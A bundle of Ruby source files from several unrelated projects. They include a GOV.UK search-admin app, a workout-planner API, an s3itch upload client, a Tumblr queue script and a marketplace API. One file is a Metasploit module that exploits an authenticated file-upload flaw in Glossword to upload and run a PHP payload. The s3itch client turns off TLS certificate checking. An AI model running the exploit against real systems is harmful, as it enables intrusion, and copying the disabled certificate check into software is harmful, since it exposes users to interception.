"worst" within(".#{bet_type}-bets .govuk-table__body .govuk-table__row") do expect(page).to have_css "td", text: link expect(page).to have_css "td", text: comment expect(page).to have_css "td", text: position if is_best expect(pate).to have_css "td", text: "Permanent" if permanent end end def edit_best_bet(bet:, link:, permanent: nil) visit query_path(bet.query) click_on bet.link if permanent check "Make permanent?" end fill_in "Link", with: link click_on "Save" end def delete_best_bet(query, _best_bet) visit query_path(query) within ".best-bets .govuk-table__body .govuk-table__row:first-child" do click_on "Delete" end end def check_for_absence_of_query_on_index_page(query: nil, match_type: nil) visit queries_path expect(page).not_to have_content(query) expect(page).not_to have_content(match_type) end def check_absence_of_best_bet_on_query_page(query, link) visit query_path(query) expect(page).not_to have_content(link) end def check_for_queries_in_csv_format(queries) headers, *rows = *CSV.parse(page.body) expect(headers).to eq(["query", "match_type", "link", "best/worst", "comment"]) queries.each do |query| query.bets.each do |bet| expect(rows).to include([query.query, query.match_type, bet.link, "best", ""]) end end end def check_search_api_was_sent_an_exact_best_bet_document(query) elasticsearch_doc = build_es_doc_from_query(query) doc_id = "#{query.query}-#{query.match_type}" expect(@search_api).to have_received(:add_document).with( doc_id, elasticsearch_doc, "metasearch", ) end def check_search_api_was_sent_a_best_bet_delete(query_es_ids) query_es_ids.each do |id| expect(@search_api).to have_received(:delete_document).with(id, "metasearch") end end def check_search_api_was_sent_a_recommended_link_delete(link:, index:) assert_search_api_deleted_item(link, index: index) end def run_best_bets_elasticsearch_exporter `#{Rails.root + "bin/export_best_bets_for_elasticsearch"}` end def confirm_best_bets_elasticsearch_format(dump, queries) queries.each do |query| es_doc_header = { "index" => { "_id" => "#{query.query}-#{query.match_type}", "_type" => "best_bet", }, } es_doc = build_es_doc_from_query(query) expect(dump).to include("#{es_doc_header.to_json}\n#{es_doc.to_json}") end end def build_es_doc_from_query(query) details_json = { best_bets: query.best_bets.map { |bet| { link: bet.link, position: bet.position } }, worst_bets: query.worst_bets.map { |bet| { link: bet.link } }, }.to_json query_field = "#{query.match_type}_query".to_sym { query_field => query.query, details: details_json, } end def check_query_page_has_no_date_fields expect(page).to_not have_content "Make permanent?" expect(page).to_not have_content "Set an expiry date" end
uk-gov-mirror/alphagov.search-admin
app/services/search_url.rb
class SearchUrl def self.for(search_term) base_url = Plek.current.website_root search_term = CGI.escape(search_term) random = SecureRandom.hex(10) "#{base_url}/search/all?keywords=#{search_term}&order=relevance&debug_score=1&cachebust=#{random}" end end
uk-gov-mirror/alphagov.search-admin
lib/tasks/import_travel_advice_best_bets.rake
require "csv" require "travel_advice_bets_importer" namespace :travel_advice do desc "Imports travel advice best bets into search_api from csv data." task :import_best_bets, %i[data_path user_name] => :environment do |_, args| data = CSV.read(args[:data_path]) user = User.find_by(name: args[:user_name]) raise "Search admin user name is required" unless user puts "Processing #{data.size} rows." importer = TravelAdviceBetsImporter.new(data, user) importer.import puts "Imported #{importer.count} best bets." end end
uk-gov-mirror/alphagov.search-admin
spec/models/elastic_search_mlt_result_spec.rb
<filename>spec/models/elastic_search_mlt_result_spec.rb require "spec_helper" describe ElasticSearchMltResult do let(:attributes) do { title: "A related link", link: "/related-link", format: "guide", es_score: 20.21, content_store_document_type: "guide", } end let(:result) { described_class.new(attributes) } it "assigns the title" do expect(result.title).to eq(attributes[:title]) end it "assigns the link" do expect(result.link).to eq(attributes[:link]) end it "assigns the format" do expect(result.format).to eq(attributes[:format]) end it "assigns the es_score" do expect(result.es_score).to eq(attributes[:es_score]) end it "assigns the content_store_document_type" do expect(result.content_store_document_type).to eq(attributes[:content_store_document_type]) end end
uk-gov-mirror/alphagov.search-admin
features/support/rummager.rb
<reponame>uk-gov-mirror/alphagov.search-admin Before "@stub_best_bets" do @search_api = double(:search_api, delete_document: true, add_document: true) allow(Services).to receive(:search_api).and_return(@search_api) end Before "@stub_best_bets_with_404" do @search_api = double(:search_api, add_document: true) allow(@search_api).to receive(:delete_document).and_raise(GdsApi::HTTPNotFound.new(404)) allow(Services).to receive(:search_api).and_return(@search_api) end Before "@stub_best_bets_with_500" do @search_api = double(:search_api) allow(@search_api).to receive(:delete_document).and_raise(GdsApi::HTTPClientError.new(500)) allow(@search_api).to receive(:add_document).and_raise(GdsApi::HTTPClientError.new(500)) allow(Services).to receive(:search_api).and_return(@search_api) end
uk-gov-mirror/alphagov.search-admin
db/migrate/20151016132421_allow_longer_comments.rb
class AllowLongerComments < ActiveRecord::Migration def change change_column :bets, :comment, :text end end
uk-gov-mirror/alphagov.search-admin
app/helpers/buttons_helper.rb
<filename>app/helpers/buttons_helper.rb module ButtonsHelper def delete_button(text, path, is_inline = false) button_to text, path, method: :delete, class: "gem-c-button govuk-button govuk-button--warning", form_class: ("app-display-inline" if is_inline) end end
uk-gov-mirror/alphagov.search-admin
app/workers/delete_old_bets_worker.rb
class DeleteOldBetsWorker # All expired bets older than this, or all disabled bets last # updated longer ago than this, are deleted OLD_BET_THRESHOLD = 30.days include Sidekiq::Worker def perform queries = old_expired_bets.map(&:query_id).uniq + old_disabled_bets.map(&:query_id).uniq old_expired_bets.delete_all old_disabled_bets.delete_all # remove empty queries from search-api to avoid cruft in the index queries.each do |qid| q = Query.find(qid) SearchApiSaver.new(q).destroy(action: :delete) if q.bets.empty? end end private def old_expired_bets Bet.impermanent.where( "expiration_date IS NOT NULL AND expiration_date <= ?", OLD_BET_THRESHOLD.ago, ) end def old_disabled_bets Bet.impermanent.where( "expiration_date IS NULL AND ((updated_at IS NULL AND created_at <= ?) OR (updated_at IS NOT NULL AND updated_at <= ?))", OLD_BET_THRESHOLD.ago, OLD_BET_THRESHOLD.ago, ) end end
uk-gov-mirror/alphagov.search-admin
db/migrate/20160815115453_add_recommended_links.rb
<reponame>uk-gov-mirror/alphagov.search-admin class AddRecommendedLinks < ActiveRecord::Migration def change create_table :recommended_links do |t| t.string :title t.string :link t.string :description t.string :keywords t.text :comment t.references :user end end end
uk-gov-mirror/alphagov.search-admin
spec/models/recommended_link_spec.rb
require "spec_helper" describe RecommendedLink do describe "#format" do it "uses recommended-link format if it is external to gov.uk" do recommended_link = create( :recommended_link, link: "https://www.google.com", ) expect(recommended_link.format).to eq "recommended-link" end it "uses inside-government-link format if it is internal to gov.uk" do recommended_link = create( :recommended_link, link: "https://www.gov.uk/bank-holidays", ) expect(recommended_link.format).to eq "inside-government-link" end it "uses recommended-link format if it is external to gov.uk but has a gov.uk domain" do recommended_link = create( :recommended_link, link: "https://www.free-ice-cream.gov.uk", ) expect(recommended_link.format).to eq "recommended-link" end end describe "validations" do it "is invalid without a title attribute" do attributes = attributes_for(:recommended_link, title: nil) expect(new_recommended_link_with(attributes)).not_to be_valid end it "is invalid with an incomplete link" do attributes = attributes_for(:recommended_link, link: "www.hello-world.com") record = new_recommended_link_with(attributes) expect(record).not_to be_valid expect(record.errors.full_messages).to eq(["Link is an invalid URL"]) end it "is invalid with a link without a host" do attributes = attributes_for(:recommended_link, link: "http:/path-not-host") record = new_recommended_link_with(attributes) expect(record).not_to be_valid expect(record.errors.full_messages).to eq(["Link does not have a valid host"]) end it "is invalid with a duplicate link" do create(:recommended_link, title: "Tax", link: "https://www.tax.service.gov.uk/", description: "Self assessment", keywords: "self, assessment, tax") recommended_link = new_recommended_link_with(title: "Tax", link: "https://www.tax.service.gov.uk/", description: "Self assessment", keywords: "self, assessment, tax") expect(recommended_link).to_not be_valid end end end def new_recommended_link_with(attributes) RecommendedLink.new(attributes) end
jmelero08/workout_planner_backend
app/models/workout_plan.rb
<filename>app/models/workout_plan.rb class WorkoutPlan < ApplicationRecord belongs_to :category validates :title, presence: true end
jmelero08/workout_planner_backend
config/routes.rb
Rails.application.routes.draw do namespace :api do namespace :v1 do resources :workout_plans resources :categories, only: [:index] end end end
jmelero08/workout_planner_backend
app/controllers/api/v1/workout_plans_controller.rb
<reponame>jmelero08/workout_planner_backend class Api::V1::WorkoutPlansController < ApplicationController def index workout_plans = WorkoutPlan.all #render json: workout_plans render json: WorkoutPlanSerializer.new(workout_plans) end def create workout_plan = WorkoutPlan.new(workout_plan_params) if workout_plan.save render json: WorkoutPlanSerializer.new(workout_plan), status: :accepted else render json: {errors: workout_plan.errors.full_messages}, status: :unprocessible_entity end end def show workout_plan = WorkoutPlan.find_by_id(params[:id]) render json: WorkoutPlanSerializer.new(workout_plan) end def update workout_plan = WorkoutPlan.find_by_id(params[:id]) workout_plan.update(workout_plan_params) if workout_plan.save render json: WorkoutPlanSerializer.new(workout_plan), status: :accepted else render json: {errors: workout_plan.errors.full_messages}, status: :unprocessible_entity end end private def workout_plan_params params.require(:workout_plan).permit(:title, :description, :image_url, :category_id) end end
jmelero08/workout_planner_backend
app/models/category.rb
class Category < ApplicationRecord has_many :workout_plans, dependent: :destroy end
jmelero08/workout_planner_backend
db/seeds.rb
# This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the bin/rails db:seed command (or created alongside the database with db:setup). # # Examples: # # movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }]) # Character.create(name: 'Luke', movie: movies.first) Category.destroy_all WorkoutPlan.destroy_all chest = Category.create(name: "Chest") legs = Category.create(name: "Legs") back = Category.create(name: "Back") arms = Category.create(name: "Arms") WorkoutPlan.create(title: "bench", description: "do 3 sets of 12 reps", image_url: "https://image.shutterstock.com/z/stock-photo-man-during-bench-press-exercise-in-gym-336330497.jpg", category_id: chest.id)
jmelero08/workout_planner_backend
app/serializers/workout_plan_serializer.rb
class WorkoutPlanSerializer include FastJsonapi::ObjectSerializer attributes :title, :description, :image_url, :category_id, :category end
jmelero08/workout_planner_backend
db/migrate/20210718180617_remove_category_id_from_workout_plans_table.rb
class RemoveCategoryIdFromWorkoutPlansTable < ActiveRecord::Migration[6.1] def change remove_column :workout_plans, :category_id, :integer end end
matiaskorhonen/s3itch_client
spec/spec_helper.rb
<filename>spec/spec_helper.rb require "simplecov" SimpleCov.start require "bundler" Bundler.setup require "rspec" require "webmock/rspec" require "s3itch_client"
matiaskorhonen/s3itch_client
spec/s3itch_client_spec.rb
<reponame>matiaskorhonen/s3itch_client # encoding: UTF-8 require "spec_helper" describe S3itchClient do let(:kitten_path) { File.expand_path("../support/kitten.jpeg", __FILE__).to_s } describe ".indifferent_hash" do let(:hash) do S3itchClient.indifferent_hash({ :symbol => "Foo", "string" => "Bar" }) end it "lets you access string keys with symbols" do hash[:string].should == "Bar" end it "lets you access symbol keys with symbols" do hash[:symbol].should == "Foo" end it "lets you access string keys with strings" do hash["string"].should == "Bar" end end describe ".build_unique_name" do it "build a unique name from a file path" do name = S3itchClient.build_unique_name(kitten_path) name.should match(/\Akitten_[\da-z-]{32,36}\.jpeg\z/) end it "uses a timestamp instead of a UUID if required to" do name = S3itchClient.build_unique_name(kitten_path, false, true) name.should match(/\Akitten_[\da-z]+\.jpeg\z/) name.should_not match(/\Akitten_[\da-z-]{32,36}\.jpeg\z/) end it "URI encodes the file name" do name = S3itchClient.build_unique_name("/tmp/cute kitten.jpeg") name.should match(/\Acute%20kitten_[\da-z-]{32,36}\.jpeg\z/) end it "parameterizes the name if required to" do S3itchClient.should_receive(:parameterize).with(/\Akitten/).and_return do |argument| argument end S3itchClient.build_unique_name("kitten", true) end it "should preserve the file extension" do name = S3itchClient.build_unique_name(kitten_path) name.should match(/\.jpeg\z/) name = S3itchClient.build_unique_name(kitten_path, true) name.should match(/\.jpeg\z/) end end describe ".parameterize" do it "transliterates non-ASCII characters" do utf8 = "Ä-Ö-Ü-Å-Æ-and-Ø" ascii = S3itchClient.parameterize(utf8) ascii.should == "A-O-U-A-AE-and-O" end it "converts spaces to hyphens" do S3itchClient.parameterize("This and that").should == "This-and-that" end it "removes 'unwanted' characters" do S3itchClient.parameterize("Unwanted?!€Characters").should == "Unwanted-Characters" end end describe ".upload" do let(:options) do { :url => "http://s3itch.herokuapp.com", :username => "s3itch", :password => "<PASSWORD>" } end let(:http_stub) do stub = stub_request(:put, /s3itch.herokuapp.com/). to_return(:body => "", :status => 201, :headers => { "Location" => "http://s3itch.example.com/kitten.jpeg" }) end it "raises an exception if no url is defined" do expect { S3itchClient.upload(kitten_path, {}) }.to raise_error(ArgumentError) end it "raises an exception if the file does not exist" do expect { S3itchClient.upload("does_not_exist", { :url => "foo" }) }.to raise_error(ArgumentError) end it "sends files to s3itch" do http_stub S3itchClient.upload(kitten_path, options).should == "http://s3itch.example.com/kitten.jpeg" http_stub.should have_been_requested end it "uses HTTPS if necessary" do http_stub https_options = options https_options[:url] = "https://s3itch.herokuapp.com" S3itchClient.upload(kitten_path, options).should == "http://s3itch.example.com/kitten.jpeg" http_stub.should have_been_requested WebMock.should have_requested(:put, /s3itch.herokuapp.com/).with { |req| req.uri.scheme == "https" } end it "raises an exception if the 'Location' header returned" do stub = stub_request(:put, /s3itch.herokuapp.com/). to_return(:body => "", :status => 201) expect { S3itchClient.upload(kitten_path, options) }.to raise_error end end end
matiaskorhonen/s3itch_client
lib/s3itch_client/cli.rb
require "s3itch_client" require "s3itch_client/version" require "optparse" require "yaml" module S3itchClient module CLI CONFIG_PATH = File.expand_path "~/.s3itch.yml" def self.upload(argv, filepath) S3itchClient.upload(filepath, parse_options(argv)) end def self.parse_options(argv) options = {} OptionParser.new do |opts| opts.banner = "Usage: s3itch [options] <filename>" opts.on("-u", "--url [URL]", String, "Set the s3itch host URL") do |uri| options["url"] = uri end opts.on("-n", "--user [USERNAME]", String, "Set the s3itch username") do |user| options["username"] = user end opts.on("-p", "--password [PASSWORD]", String, "Set the s3itch password") do |password| options["password"] = password end opts.on("-e", "--[no-]parameterize", "Parameterize the filename") do |parameterize| options["parameterize"] = parameterize end opts.on("-t", "--[no-]timestamp", "Use a timestamp suffix instead of a UUID") do |parameterize| options["use_timestamp_suffix"] = parameterize end opts.on_tail("-h", "--help", "Show this message") do puts opts exit end opts.on_tail("--version", "Show version") do puts "S3itchCli version #{S3itchClient::VERSION}" exit end end.parse! if File.exists? CONFIG_PATH config = YAML.load_file(CONFIG_PATH) options = config.merge(options) elsif options[:url].nil? abort <<-EOS Couldn't find your configuration in '#{CONFIG_PATH}' Please create the file with the following contents: --- url: http://YOUR-S3ITCH-INSTANCE.herokuapp.com username: S3ITCH_USERNAME password: <PASSWORD> EOS end options end end end
matiaskorhonen/s3itch_client
lib/s3itch_client.rb
<reponame>matiaskorhonen/s3itch_client<filename>lib/s3itch_client.rb require "s3itch_client/version" require "i18n" require "net/http" require "securerandom" require "uri" require "yaml" module S3itchClient def self.upload(filepath, options={}) options = indifferent_hash(options) unless options[:url] raise ArgumentError, "A URL must be provided" end uri = URI.parse(options[:url]) username = options[:username] password = options[:password] if File.exists?(filepath) && !File.directory?(filepath) uniq_name = build_unique_name(filepath, options[:parameterize], options[:use_timestamp_suffix]) uri.path = "/#{uniq_name}" http = Net::HTTP.new(uri.host, uri.port) if uri.scheme == "https" http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE end request = Net::HTTP::Put.new(uri.request_uri) if username && password request.basic_auth(username, password) end request.content_type = "application/octet-stream" response = http.request(request, File.open(filepath).read) if response["Location"] return response["Location"] else raise StandardError, "Something went wrong [#{response.code}]" end else raise ArgumentError, "No such file - #{filepath}" end end def self.build_unique_name(filepath, to_param=false, use_timestamp_suffix=false) filename = File.basename(filepath) extname = File.extname(filename) basename = File.basename(filename, extname) suffix = if use_timestamp_suffix Time.now.to_i.to_s(36) else # Ruby 1.8.7 compatibility SecureRandom.respond_to?(:uuid) ? SecureRandom.uuid : SecureRandom.hex end uniq_name = "#{basename}_#{suffix}" uniq_name = parameterize(uniq_name) if to_param uniq_name << extname URI.encode(uniq_name) end def self.indifferent_hash(hash) indifferent = Hash.new { |h,k| h[k.to_s] if Symbol === k } indifferent.merge(hash) end def self.parameterize(string) if I18n.respond_to? :enforce_available_locales= I18n.enforce_available_locales = false # Disables a warning end parameterized_string = I18n.transliterate(string, :replacement => "-", :locale => :en) # Turn unwanted chars into the separator parameterized_string.gsub!(/[^a-z0-9\-_]+/i, "-") re_sep = Regexp.escape("-") # No more than one of the separator in a row. parameterized_string.gsub!(/#{re_sep}{2,}/, "-") # Remove leading/trailing separator. parameterized_string.gsub!(/^#{re_sep}|#{re_sep}$/i, '') parameterized_string end end
pyoor/metasploit-framework
modules/exploits/multi/http/glossword_upload_exec.rb
<reponame>pyoor/metasploit-framework<gh_stars>1-10 ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability", 'Description' => %q{ This module exploits a file upload vulnerability in Glossword versions 1.8.8 to 1.8.12 when run as a standalone application. This application has an upload feature that allows an authenticated user with administrator roles to upload arbitrary files to the 'gw_temp/a/' directory. }, 'License' => MSF_LICENSE, 'Author' => [ 'AkaStep', # Discovery '<NAME> <<EMAIL>[at]<EMAIL>>' # metasploit exploit ], 'References' => [ [ 'EDB', '24456' ], [ 'OSVDB', '89960' ] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic Targeting', { 'auto' => true }]], 'Privileged' => true, 'DisclosureDate' => "Feb 05 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']), OptString.new('USERNAME', [true, 'The username for Glossword', 'admin']), OptString.new('PASSWORD', [true, 'The password for Glossword', '<PASSWORD>']) ], self.class) end def check base = target_uri.path peer = "#{rhost}:#{rport}" user = datastore['USERNAME'] pass = datastore['PASSWORD'] # login print_status("#{peer} - Authenticating as user '#{user}'") begin res = login(base, user, pass) if res if res.code == 200 vprint_error("#{peer} - Authentication failed") return Exploit::CheckCode::Unknown elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/ vprint_good("#{peer} - Authenticated successfully") return Exploit::CheckCode::Appears end end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout vprint_error("#{peer} - Connection failed") end return Exploit::CheckCode::Safe end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm("#{@fname}") else client.shell_command_token("rm #{@fname}") end end def upload(base, sid, fname, file) user = datastore['USERNAME'] pass = datastore['PASSWORD'] data = Rex::MIME::Message.new data.add_part(file, 'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"") data.add_part("edit-own", nil, nil, 'form-data; name="a"') data.add_part("users", nil, nil, 'form-data; name="t"') data.add_part("Save", nil, nil, 'form-data; name="post"') data.add_part("#{sid}", nil, nil, 'form-data; name="sid"') data.add_part("#{user}", nil, nil, 'form-data; name="arPost[login]"') data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_new]"') data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_confirm]"') data_post = data.to_s data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(base, 'gw_admin.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data_post, }) return res end def login(base, user, pass) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(base, 'gw_login.php'), 'data' => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter" }) return res end def exploit base = target_uri.path @fname= rand_text_alphanumeric(rand(10)+6) + '.php' user = datastore['USERNAME'] pass = datastore['PASSWORD'] # login; get session id and token print_status("#{peer} - Authenticating as user '#{user}'") res = login(base, user, pass) if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/ token = "#{$1}" sid = "#{$2}" print_good("#{peer} - Authenticated successfully") else fail_with(Failure::NoAccess, "#{peer} - Authentication failed") end # upload PHP payload print_status("#{peer} - Uploading PHP payload (#{payload.encoded.length} bytes)") php = %Q|<?php #{payload.encoded} ?>| begin res = upload(base, sid, @fname, php) if res and res.code == 301 and res['location'] =~ /Setting saved/ print_good("#{peer} - File uploaded successfully") else fail_with(Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Failure::Unreachable, "#{peer} - Connection failed") end # retrieve PHP file path print_status("#{peer} - Locating PHP payload file") begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'), 'cookie' => "sid#{token}=#{sid}" }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Failure::Unreachable, "#{peer} - Connection failed") end if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/ shell_uri = "#{$1}" @fname = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)') print_good("#{peer} - Found payload file path (#{shell_uri})") else fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find PHP payload file path") end # retrieve and execute PHP payload print_status("#{peer} - Executing payload (#{shell_uri})") begin send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(base, shell_uri), }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Failure::Unreachable, "#{peer} - Connection failed") end if !res or res.code != 200 fail_with(Failure::UnexpectedReply, "#{peer} - Executing payload failed") end end end
joekunin/TumblrQueue
app.rb
<filename>app.rb # gem install xmp exifr open-uri tumblr_client require 'dotenv' require 'xmp' require 'exifr' require 'open-uri' require 'tumblr_client' # Bootstrap and configuration Dotenv.load #authenticate tumblr plugin Tumblr.configure do |config| config.consumer_key = ENV['TUMBLR_CONSUMER_KEY'] config.consumer_secret = ENV['TUMBLR_CONSUMER_SECRET'] config.oauth_token = ENV['TUMBLR_OAUTH_TOKEN'] config.oauth_token_secret = ENV['TUMBLR_OAUTH_TOKEN_SECRET'] end #new tumblr client instance client = Tumblr::Client.new(:client => :httpclient) def write_to_uploaded_log(filename) uploaded_files_log = File.open("./logs/uploaded.txt", "a+") uploaded_files_log.puts (filename) end uploaded = IO.readlines("./logs/uploaded.txt").map{|x| x.strip! } Dir.glob('images/*.jpg') do |jpg_file| upload_limit = 14 if !uploaded.include?(jpg_file) && upload_limit > 0 img = EXIFR::JPEG.new(jpg_file) xmp = XMP.parse(img) tags = xmp.lr.hierarchicalSubject.join(",") client.photo('joekuninphoto.tumblr.com', :state => "queue", :caption => "www.joekuninphoto.com", :link =>"", :data => "#{jpg_file}", :tags => "#{tags}", ) write_to_uploaded_log(jpg_file) puts "#{jpg_file} uploaded to Tumblr and written to the upload log" upload_limit -= 1 else puts "#{jpg_file} was already uploaded to tumblr" end end # #NOTES: currently uploads directory of images to tumblr queue with tags pulled from lightroom metadata (try to use single level tags) #TODO: *) check for duplicates 1) make executable from server. 2) attach to chron job 3) check for unique images 4) repaste duplicates that are updated from LR (using timestamp?) #check if file uploaded.txt has file name (unique names from LR) in list, if so, skip file, if not upload file
joekunin/TumblrQueue
gem/tumblrqueue/lib/tumblrqueue.rb
<gh_stars>0 require "tumblrqueue/version" require "open-uri" module Tumblrqueue # Your code goes here... end
omikolaj/neos-fair-api
db/seeds.rb
<filename>db/seeds.rb # This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup). # # Examples: # # movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }]) # Character.create(name: 'Luke', movie: movies.first) User.create(:name => '<NAME>', :email =>'<EMAIL>', :password => "<PASSWORD>", :username=>"andersC#") User.create(:name => '<NAME>', :email =>'<EMAIL>', :password => "password", :username=>"guest") AdItem.create(:user_id => 1, :price=>100, :post_date=>DateTime.now.to_date) AdItem.create(:user_id => 1, :price=>250, :post_date=>DateTime.now.to_date) AdItem.create(:user_id => 1, :price=>30, :post_date=>DateTime.now.to_date) AdItem.create(:user_id => 1, :price=>1050, :post_date=>DateTime.now.to_date) AdItem.create(:user_id => 1, :price=>150, :post_date=>DateTime.now.to_date) AdItem.create(:user_id => 1, :price=>390, :post_date=>DateTime.now.to_date) AdItem.create(:user_id => 1, :price=>90, :post_date=>DateTime.now.to_date) AdItem.create(:user_id => 1, :price=>240, :post_date=>DateTime.now.to_date) AdItem.create(:user_id => 1, :price=>40, :post_date=>DateTime.now.to_date) AdItem.create(:user_id => 1, :price=>900, :post_date=>DateTime.now.to_date) AdItem.create(:user_id => 1, :price=>4000, :post_date=>DateTime.now.to_date) AdItem.create(:user_id => 1, :price=>6000, :post_date=>DateTime.now.to_date) Item.create(:title => "Lamp", :condition=>"used",:ad_item_id => 1) Item.create(:title => "Monitor", :condition=>"new",:ad_item_id => 2) Item.create(:title => "Baseball Cards", :condition=>"new",:ad_item_id => 3) Item.create(:title => "Tools", :condition=>"used",:ad_item_id => 4) Item.create(:title => "Legos", :condition=>"used",:ad_item_id => 5) Item.create(:title => "Computer Case", :condition=>"used",:ad_item_id => 6) Item.create(:title => "Desk", :condition=>"used",:ad_item_id => 7) Item.create(:title => "Fridge", :condition=>"used",:ad_item_id => 8) Item.create(:title => "Speakers", :condition=>"new",:ad_item_id => 9) Item.create(:title => "Chair", :condition=>"new",:ad_item_id => 10) Item.create(:title => "Four Wheeler", :condition=>"used",:ad_item_id => 11) Item.create(:title => "Chess Set", :condition=>"used",:ad_item_id => 12) Ad.create(:ad_item_id => 1,:description => "Contemporary Lamp, works great. If it's dark turn it on and its light!", :title => "Great Lamp", :published => true) Ad.create(:ad_item_id => 2,:description => "One dead pixle in the top right hand corner", :title => "Curved 32 inch Monitor", :published => true) Ad.create(:ad_item_id => 3,:description => "Never opened old school baseball cards", :title => "Baseball cards for collectors", :published => true) Ad.create(:ad_item_id => 4,:description => "Mechanic tool set. Nothing is missing. I promise...", :title => "Like new tool set!", :published => true) Ad.create(:ad_item_id => 5,:description => "Box full of different kinds of legos", :title => "Random Legos in a box", :published => true) Ad.create(:ad_item_id => 6,:description => "Super awesome computer case from the future", :title => "Just a computer case", :published => true) Ad.create(:ad_item_id => 7,:description => "My room got smaller, can't fit my desk anymore. Desk is in great shape, made out of oak.", :title => "Selling computer Desk", :published => true) Ad.create(:ad_item_id => 8,:description => "Few dents here and there but works great!", :title => "Side by side fridge and freezer", :published => true) Ad.create(:ad_item_id => 9,:description => "Loud and clear speakers. Work like new", :title => "Logitech speakers 5.1", :published => true) Ad.create(:ad_item_id => 10,:description => "Ergonomics chair with great lumbar support", :title => "Ergonomics, Ergonomics, Ergonomics", :published => true) Ad.create(:ad_item_id => 11,:description => "Great quad, has four wheels. Drives up and down hills. Needs gas.", :title => "Selling my quad", :published => true) Ad.create(:ad_item_id => 12,:description => "Chess set found in ancient Mongolia. Perhaps THEE oldest chess set in my house hold", :title => "Incredible Chess Set", :published => true) Category.create(:ad_item_id => 1, :name => "House Items") Category.create(:ad_item_id => 2, :name => "Electronics") Category.create(:ad_item_id => 3, :name => "Other") Category.create(:ad_item_id => 4, :name => "Tools") Category.create(:ad_item_id => 5, :name => "Toys") Category.create(:ad_item_id => 6, :name => "Parts") Category.create(:ad_item_id => 7, :name => "House Items") Category.create(:ad_item_id => 8, :name => "Kitchen") Category.create(:ad_item_id => 9, :name => "Electronics") Category.create(:ad_item_id => 10, :name => "House Items") Category.create(:ad_item_id => 11, :name => "Automibiles") Category.create(:ad_item_id => 12, :name => "Other") # Order.create(:ad_item_id => 1, :user_id => 1, :old => true, :purchased_date=>DateTime.now.to_date) # Order.create(:ad_item_id => 2, :user_id => 1, :old => true, :purchased_date=>DateTime.now.to_date) # Order.create(:ad_item_id => 3, :user_id => 1, :old => true, :purchased_date=>DateTime.now.to_date) # Order.create(:ad_item_id => 4, :user_id => 1, :old => true, :purchased_date=>DateTime.now.to_date) # Order.create(:ad_item_id => 5, :user_id => 1, :old => true, :purchased_date=>DateTime.now.to_date) # Order.create(:ad_item_id => 6, :user_id => 1, :old => true, :purchased_date=>DateTime.now.to_date) # Order.create(:ad_item_id => 7, :user_id => 1, :old => true, :purchased_date=>DateTime.now.to_date)
omikolaj/neos-fair-api
app/controllers/api/users_controller.rb
class Api::UsersController < ApplicationController include FormatPrice def create user = User.new(user_params) if user.save auth_token = auth_token(user.id) render json: {token: auth_token, expiresIn: ENV["EXPIRES_IN"], userID: user.id, status: 201}, status: 201 else render json: {error: user.errors.full_messages}, status: 400 end end def show if authenticate_request! user = User.find_by(:id=>params[:id]) if user userInfo = {name: user.name, username: user.username, email: user.email, wallet: format(user.wallet)} render json: {userInfo: userInfo, status: 200}, status: 200 else render json: {fail: "There was an error retrieving user information.", unauthorized: false, status: 404}, status: 404 end else render json: {fail: "Unauthorized Request", unauthorized: true, status: 401}, status: 401 end end def update if user = User.find_by(:id=>params["id"]) if amount = params[:recharge] if user if user.recharge(amount) render json: {success: "Your account was successfully recharged $#{amount}.00", wallet: format(user.wallet), status: 200}, status: 200 else render json: {fail: "You have reached your limit", status: 401}, status: 401 end end else if user.update(user_params) userInfo = {name: user.name, username: user.username, email: user.email, wallet: format(user.wallet)} render json: {success: "Account successfully updated!", userInfo: userInfo, status: 200}, status: 200 else render json: {fail: "Account did not update", status: 400}, status: 400 end end else render json: {fail: "User not found", status: 400}, status: 400 end end private def user_params params.require(:user).permit(:id, :email, :password, :name, :username) end def auth_token(id) JsonWebToken.encode({user_id: id}) end end
omikolaj/neos-fair-api
app/serializers/ad_item_serializer.rb
<reponame>omikolaj/neos-fair-api class AdItemSerializer < ActiveModel::Serializer attributes :id, :title, :condition end
omikolaj/neos-fair-api
app/models/item.rb
